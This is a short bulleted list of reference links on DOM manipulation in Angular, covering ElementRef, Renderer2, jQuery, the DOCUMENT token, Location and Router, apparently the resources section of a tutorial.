* [Angular ElementRef](https://angular.io/api/core/ElementRef)
* [Angular Renderer2](https://angular.io/api/core/Renderer2)
* [Renderer2 Example: Manipulating DOM in Angular - TekTutorialsHub](https://www.tektutorialshub.com/angular/renderer2-angular/)
* [jQuery API Documentation](http://api.jquery.com/)
* [How To Use jQuery With Angular (When You Absolutely Have To)](https://blog.bitsrc.io/how-to-use-jquery-with-angular-when-you-absolutely-have-to-42c8b6a37ff9)
* [Angular Document](https://angular.io/api/common/DOCUMENT)
* [Angular Location](https://angular.io/api/common/Location)
* [Angular Router](https://angular.io/api/router/Router)